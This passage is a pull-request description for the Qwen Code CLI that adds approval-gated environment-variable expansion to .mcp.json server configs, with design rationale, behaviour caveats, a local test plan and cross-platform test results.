.qwen/settings.jsonand does not from.mcp.json. #4466 / #4474 already established this as correct behavior for MCP headers insettings.json;.mcp.jsonarrived later (#4713) and never picked it up. It also restores parity with Claude Code, whose format this is, and which documents expansion incommand,args,env,urlandheaders(https://code.claude.com/docs/en/mcp), including the same leave-the-placeholder-when-unset behavior. This PR does not add Claude's${VAR:-default}syntax — only plain expansion, matching what qwen's resolver already supports elsewhere.Design decisions
The full rationale, including the alternatives tried and the measurements behind the depth cap, is in
docs/design/2026-09-11-mcp-json-env-expansion.md(and.zh-CN.md), added by this PR. The decisions, one each:.mcp.jsonexpandscommand,args,env,cwd,url,httpUrl,headers,tcp,oauth,targetAudience,targetServiceAccountand leaves every other field byte-identical;authProviderTypeis excluded because it is a fixed enum. The list is typed againstMCPServerConfig.--mcp-config, added in the revision after the first review round (4d024d692f), resolves the whole object instead — it is operator-supplied, not repository-supplied. (Design doc, section 1.)getHomeEnvFallbackVars(). Every call site runs afterloadSettings()has runloadEnvironment(), so home-.envkeys are already inprocess.env; the only keys the fallback would add are the ones the env loader deliberately withheld (NODE_OPTIONS, private provenance markers) — the Daemon multi-workspace sessions inherit another workspace's harness environment (NODE_OPTIONS/PATH leak) #8653 vector. A non-vacuous test pins it. (Section 2.)hashMcpServerConfigboth recurse and overflow at a V8-dependent depth. Over-deep entries are reported througherrorsand skipped; the probe is iterative. (Section 3.)main. Hashing raw text would keep an approval valid while${HOSTVAR}re-pointed the server. Rotating a referenced variable re-prompts; the approval dialog and themcpApprovals.tsdocstring now state it, andapprove.test.tspins both halves. (Section 4.)isMcpApprovalGateArmed(bareMode, safeMode, approvalMode), feedsexpandEnvat boot, the settings hot reload and the ACP reload, and the same value decidespendingMcpServers— directly at boot, as the argument torecomputeMcpGatingin both reload paths — the same call, so the two cannot drift. ACPsession/newbuilds itsConfigthroughloadCliConfig, so it is covered at creation too. Under--yoloa placeholder stays literal — whatmaindoes today — and the loader warns on stderr; bare and safe mode never load.mcp.json. This includes a server approved earlier withqwen mcp approve, so the 401 of ${VAR} placeholders in .mcp.json are not expanded, so headers are sent literally #11499 remains in the headless--yolocase; "expand, hash, keep if the digest matches a stored approval" was rejected because it expands before consent is checked, the very action this decision avoids. Because the store is one record per workspace and a--yolosession holds the unexpanded config, the store is read and written only from a gate-armed session: the daemon workspace status, the ink/mcpdialog and the OpenTUI dialog data report no approval state from a--yoloConfig, and the daemonworkspaceMcpManage approveendpoint and the dialogs' Approve action refuse;qwen mcp approveis unchanged.mcp list/approve/reconnectkeep expanding because their approval check is unconditional and the digest must stay the resolved one. Changing what--yolomeans would reverse fix(cli): skip MCP approval dialogs in YOLO mode #6177 (closing The YOLO mode cannot invoke MCP #6131) and is not this PR's business. Workspace-scope.qwen/settings.jsonbehaves the same way under--yolotoday; that is named as the precedent, not used as justification. Known limitation: a mid-session switch to YOLO followed by any settings edit rewrites an already-approved server's credentials to the literal and drops its connection. (Section 5.)Behavior details
Facts a user of this feature needs that do not fit a docstring. None of them is new behavior introduced by this PR — they are the shared resolver's semantics, now reachable from
.mcp.json.${VAR}with no matching variable is left in place as text, silently: the loader emits no diagnostic, so a typo'd name reaches the transport as a literal rather than as an error. That is the resolver's behavior, relied on so an unset variable cannot collapse a value to the empty string.''. Forcommandorurlthat collapses the whole value to the empty string.$$form. A value that must contain a literal$followed by a word character cannot be written in an expanded field.commandof the formbash -c "server --filter \"$FILTER\""— hands the shell whatever the variable holds, so a value containing", a backtick or$(changes the command that runs rather than the argument it receives. Values passed throughargs/envare not parsed by a shell..envfiles are inprocess.envwhen.mcp.jsonis read. Every call site runs afterloadSettings(), which callsloadEnvironment().findEnvFileswalks up from the project directory and takes the first<dir>/.qwen/.envor<dir>/.envit finds — a workspace file only when that workspace is trusted — then adds the home candidates:<QWEN_HOME>/.env, the legacy~/.qwen/.envwhenQWEN_HOMEredirects, and~/.env. A checked-out repository can therefore ship a.envthat supplies the values its own.mcp.jsonplaceholders resolve to; the gate on that is workspace trust, and the approval gate still applies to the server itself. Loader-affecting keys (NODE_OPTIONS) and private provenance markers are refused at every scope. A variable added to a.envfile after boot is seen by the ACP workspace reload, which re-runsloadEnvironment(), but not by the settings-watcher hot reload, which does not..mcp.jsoncannot read Qwen's own secret env vars.--yolonothing is expanded; the placeholder is sent as written and a stderr warning names the server. Bare and safe mode do not load.mcp.json.Reviewer Test Plan
How to verify
In an empty directory write
.mcp.jsoncontaining{"mcpServers":{"srv":{"httpUrl":"http://127.0.0.1:39217/mcp","headers":{"Authorization":"Bearer ${MY_TOKEN}"}}}}, exportMY_TOKEN=some-secret, point the URL at any local server that logs request headers, then runqwen mcp approve --allandqwen mcp list. Before this change the endpoint receivesBearer ${MY_TOKEN}; after it,Bearer some-secret. Moving the same entry to.qwen/settings.jsonshows the expansion.mcp.jsonwas missing. Passing the same document via--mcp-configexpands its transport fields the same way — and, unlike.mcp.json, its metadata too. Starting a session with--yoloinstead sendsBearer ${MY_TOKEN}and prints a warning namingsrv— the gate is off, so nothing is expanded. Frompackages/cli:npx vitest run src/config/mcpJson.test.ts src/config/mcpServers.test.ts src/config/config.test.ts src/commands/mcp/approve.test.ts.Evidence (Before & After)
Same config bytes, same environment, same cwd — only the file differs. Header as actually received by the endpoint:
<cwd>/.mcp.jsonBearer ${MY_TOKEN}→ 401Bearer some-secret<cwd>/.qwen/settings.jsonBearer some-secretBearer some-secret(unchanged)Those two rows are a live capture against an endpoint that logs request headers, taken in the first round. The
--mcp-configand--yolopaths are covered by unit test rather than by a live capture, so they are not in the table.Unit results at the current head, from
packages/cli(Windows 11, Node v24.11.0):src/config/mcpJson.test.ts23 passed / 23;src/config/mcpServers.test.ts8 / 8;src/config/hot-reload.test.ts40 / 40;src/config/mcpApprovals.test.ts33 / 33;src/config/config.test.ts423 / 423;src/commands/mcp/approve.test.ts8 / 8;src/ui/components/mcp/MCPManagementDialog.test.tsx2 / 2;src/ui/opentui/dialog-data.test.ts61 / 61 — 598 passed / 598 across those eight files.src/acp-integration/acpAgent.test.ts705 passed / 2 failed / 2 skipped (709); the same 2 fail identically with the pre-changeacpAgent.tsand the same test file on this machine ("rejects a standalone directory identity replaced during Config relocation", "keeps source identity on the bound workspace after a live cwd change" — both assert on/tmppaths).tsc --noEmit -p packages/cli: exit 0.eslinton the 18.ts/.tsxfiles this PR changes andprettier --checkon the same files plus the three.md: exit 0.The same nine files on Linux (Ubuntu 26.04 under WSL, Node v24.15.0, fresh clone of this head,
npm ci): 9 passed / 9 files, 1296 passed / 11 skipped / 0 failed (1307) —acpAgent.test.ts709 / 709 there, so the 2 Windows failures above are Windows-only; the 11 skipped aremcpApprovals.test.ts's win32 casing cases.Every gate-related test was checked by mutation: forcing
expandEnv: trueat boot, the settings hot reload or the ACP reload fails that site's YOLO case; decouplingpendingfrom the gate in the hot reload fails its YOLO case;expandEnv: falseinapprove.ts, or a loader that never resolves, fails the digest test; removing the stderr warning, or any of the five store guards that have a test, fails the corresponding test.The expansion tests do fail on an unpatched tree — that is what pins the fix — but note
mcpJson.test.tsas it now stands cannot simply be dropped ontomainto show that, because it importsMAX_MCP_SERVER_CONFIG_DEPTH, whichmaindoes not export. To see the original failure, check outmainand apply only the test's expansion cases.Tested on
Environment (optional)
Windows 11, Node v24.11.0; Ubuntu 26.04 under WSL, Node v24.15.0 (unit suites only). Live reproduction against installed qwen 0.23.2 on Windows. The branch includes the maintainer's merge of
main(5da67c2e55).Risk & Scope
.mcp.jsonvalue legitimately containing$followed by a word character changes meaning — the same tradeoff every settings scope already carries, now limited to the allowlisted fields. Approval re-triggering on secret rotation: design doc, section 4. A set-but-empty variable collapsescommand/urlto''(Behavior details).${VAR:-default}syntax; the live header capture was taken on Windows only, and macOS is untested. Masking resolved secrets inqwen mcp listbefore approval is not in this PR — the same exposure already ships for workspace scope through code this patch does not touch. Workspace-scope.qwen/settings.jsonresolution under--yolois not changed. MCP servers supplied by extensions are resolved whole and ungated by the extension manager, outside this loader. Known limitation, recorded in the design doc: a mid-session switch to YOLO plus a settings edit rewrites an approved server's credentials to the literal and drops its connection until the mode is switched back.--yoloa.mcp.jsonplaceholder stays literal, which is whatmaindoes today, now with a warning. Under--yolothe/mcpdialog and the daemon'sworkspaceMcpManage approveno longer offer or perform approval of.mcp.jsonservers;qwen mcp approvedoes. One behavior change worth naming: an approved project server whose entry nests deeper than 64 levels is now skipped with anerrorsline instead of loading; no real config reaches that depth.On CI: this PR comes from a fork, so its
Qwen Code CIandtui-parityworkflow runs sit ataction_requireduntil a maintainer approves them; while they do,gh pr checkslists no build, lint or test result for the head, and the only checks that run are the review pipeline and labelling jobs. The numbers above are local runs, on Windows and on Linux. The redTestcheck on an earlier head was not from this PR: its only failure wassrc/serve/capabilities-docs-contract.test.ts > keeps the daemon index capability counts in sync(expected 158 to be 159), reproduced at the old merge base with the patch absent and fixed onmainby562ea5a0f0. On Windows the fullpackages/clisuite is red before this change as well — 63 failing files locally, none of them the files this PR touches.Linked Issues
Fixes #11499
One caveat on that keyword: under
--yolothe placeholder is deliberately left literal (design doc, section 5), so the 401 described in the issue still occurs there. That is a decision taken because nothing shows the user a repository-supplied server before it connects in that mode — not remaining work.